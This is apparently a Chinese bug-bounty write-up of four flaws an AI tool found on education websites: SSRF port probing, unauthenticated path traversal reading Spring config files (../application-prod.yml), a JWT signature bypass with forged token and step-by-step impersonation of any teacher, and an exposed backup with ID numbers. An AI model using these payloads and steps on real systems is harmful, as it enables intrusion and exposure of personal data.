前言

不是漏洞的挖掘者，只是漏洞的复现人，分享几个没ai很难挖到的漏洞

# 案例1

一个见过八百次的登录框，手工测试基本没出过任何东西

![图片](/media/202608/5e5d5367435a43dcacf25c9114063b0c5475.png)

经常挖edu的师傅肯定见到过这个框

这次直接丢ai打，竟然真出了一个ssrf漏洞

探测内网

访问本地默认80端口

![图片](/media/202608/a2d30d45060e4f2f9305d8b87c46646c2145.png)

访问不存在的801端口

![图片](/media/202608/30f8509d3fc24f1b9ec514636b00bb734860.png)

访问存在的443端口

![图片](/media/202608/0a96e1ce9de3414eb72f06e1415ba26c7259.png)

访问不存在的22端口

![图片](/media/202608/2677b5a153064be8ab0ced236add09285343.png)

两组数据对比，成功确认ssrf漏洞的存在

# 案例2

因为是批量找资产测试的，所以有些资产，访问后会重定向到统一，这也是这种漏洞很难重复以及手工测试的原因

![图片](/media/202608/4d9284b044574bae907a90877ea646031038.png)

**漏洞详情**

这ai挖这种接口以及未授权增删改查漏洞是真有手法

xxxx值班系统的后端接口

/api/ms-duty/dutyManage/dutyPexxxemplateExport 将查询参数 fileName 直接拼接到模板文件路径，未做

路径规范化与白名单校验，且该接口无需登录 token。

攻击者可传入

../application-prod.yml 、 ../application-dev.yml 、 ../application.yml 等路径，任意读取服务端Spring 配置文件。

![图片](/media/202608/5838694991c748fda74ea3fa64071b5e9365.png)

![图片](/media/202608/ba91ccb231a74e4da62b48b54ab2a5ad2152.png)

# 案例3

这个更是，神中之神了

直接访问资产就是一个白页面

![图片](/media/202608/3157eb89c3c64d2193c5eb104628ec8d5343.png)

一个接口都没有

![图片](/media/202608/58fde4079ac6469ea2349bbee2bb39dd3871.png)

![图片](/media/202608/0b464f3030aa43bbb53ba16eac5310b63634.png)

这ai都能找到漏洞？？？

xxxx一体化系统移,动端 API `/zby-api/auth/token/jwt` 在将 CAS 下发的 Id-Token（JWT）换取业务会话时，未校验 JWT 签名 。

攻击者可本地构造任意 payload（仅需知道或枚举工号），签名字段填任意值，即可换取真实 `token`，进而以对应用户身份调用需授权的教师端接口（课表、个人信息、借用/请假/考勤等操作）

前端 `/mobile/` 硬编码 API 基址与请求签名密钥 `d1fedd9bbxxxa6edbf1fa`（MD5 `$key$_$timestamp$`），但该签名仅作请求完整性校验， **不能替代登录鉴权** 。已实测：

*   工号 `20xxx01` → 姓名「任xx」+ 课表数据
    
*   工号 `20xxx02` → 姓名「张xx」
    
*   工号 `xx2x003` → 姓名「xx欣」

无需 CAS 账号、无需有效密钥，黑盒即可完成任意教师身份登录。

首先是/mobile/找到的突破口，如果是手工测试，这种白页面，我们可以扫描全端口，或者扫描目录，翻找js进行突破。

只需要拼接这个接口/mobile/，就会重定向，虽然也是白页面，但是能看到很多接口。

![图片](/media/202608/1810847b592342d0a96ff06446a3c57e7558.png)

看到接口就能挖到了嘛？nonono

复现步骤

1.  访问 https://42.xxxx2/mobile/ 获取前端 JS，确认 API 基址为 /zby-api，登录回调使用 X-Id-Token 调用 /auth/token/jwt
    
2.  构造伪造 JWT（alg=HS256，payload 含 sub 与 preferred\_username 为真实工号，exp 合法 Int32，签名任意）：eyJhbGciOiJIUzIxxxIsInByZWZlcnJlZF91c2VybmFtZSI6IjIwMjEwMDAxIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.forged
    
3.  GET \[https://42xxxx2/zby-api/auth/token/jwt?type=0&jwt= 伪造JWT\>（type=0 为教师），响应 success=true 并返回 data.token
    
4.  携带响应中的 token 请求头访问 GET /zby-api/t-api/user/info，获取工号/姓名等受限信息
    
5.  继续访问 /zby-api/t-api/kb/index 等业务接口，读取课表等需登录数据；更换工号可枚举其他教师

### 跟着步骤复现一下

第一步：构造伪造JWT

**JWT由三部分组成：Header + Payload + Signature**

Header（Base64编码）

**json**

```
{"alg":"HS256","typ":"JWT"}
```

**Base64:**`eyJhbGciOxxxxR5cCI6IkpXVCJ9`

Payload（Base64编码）- 工号20xxx01

**json**

```
{"sub":"202xxx01","preferred_username":"20210001","exp":2147483647}
```

**Base64:**`eyJzdWIiOiIyMDIxxxnByZWZxxxSI6IjIwMjEwMDAxIiwiZXhwIjoyMTQ3NDgzNjQ3fQ`

Signature（任意值，服务端不校验）

**text**

```
forged
```

完整伪造JWT

**text**

```
eyJhbGciOiJIUzI1NiIsxxxxx
```

**jwt常见漏洞**

![图片](/media/202608/614d869481fe4307b2085819d4e6109e6092.png)

这个漏洞产生的原因其实就是签名没有校验

**发送请求，利用构造的jwt换取Token**

![图片](/media/202608/3963d33fe7c84026a6cabe66ff3b60137812.png)

利用获取到的token,继续测试获取工号对应人的信息，证明token可用

![图片](/media/202608/653ec76cdaac4126a8c91c27dae51bc38044.png)

获取其他信息，比如课表信息，还有其他接口不在一一截图

![图片](/media/202608/fab2e97d95754a2ea1ab5322170f857a8696.png)

工号获取

```
20210002
```

方式1:直接枚举，一看就是年份+4位数字组成，完全可以爆破

方式二：直接google搜集

```
site:xx.edu.cn 工号
```

![图片](/media/202608/6544c48465e84869b12da1493271fe9c9850.png)

还有意外收获，可以看到某系统的初始密码

直接随便找一个链接访问，就能看到工号，这里也直接说明了工号的规则

![图片](/media/202608/0ecd67bbe5aa4c40bbd077ba753677d91682.png)

所以理论上，是可以伪造所有教师的信息进行查看等操作的。

# 案例4

某证书站信息泄露

一个看起来和静态页面一样的网站，手工测试大概率会跳过，但是让ai批量打,ai可不会跳过。

![图片](/media/202608/71ed4095db6f4b118fc90d21b1daba914349.png)

然后就发现了好东西，这个写报告的时候，找了找，根本没搜索到这个压缩包，命名也和域名没关系，问了一下ai,他说是，从响应包里面提取，url然后进行构造的，有点说法。

**漏洞详情**

目标根路径暴露约 680MB 的整站备份包 zxxxxxp.zip，未鉴权即可完整下载。

包内为xxx静态站及材料。

利用链：未授权 GET 下载主包 → 解压嵌套压缩包 zxxxx/pdf/3/34/342/3423.zip → 得到毕业论文查重报告 xlsx（2019–2021）→ 表「xxxx批次」的「学号」列实际写入 18 位身份证号。

![图片](/media/202608/b3a442f0b10546acb96bbc21842195d91426.png)

![图片](/media/202608/0e83c221f28a4decb86c282e5ca2467c5641.png)

![图片](/media/202608/2e6c054df19e4d50b2745bcd2e22596f9901.png)

没有AI很难挖到的案例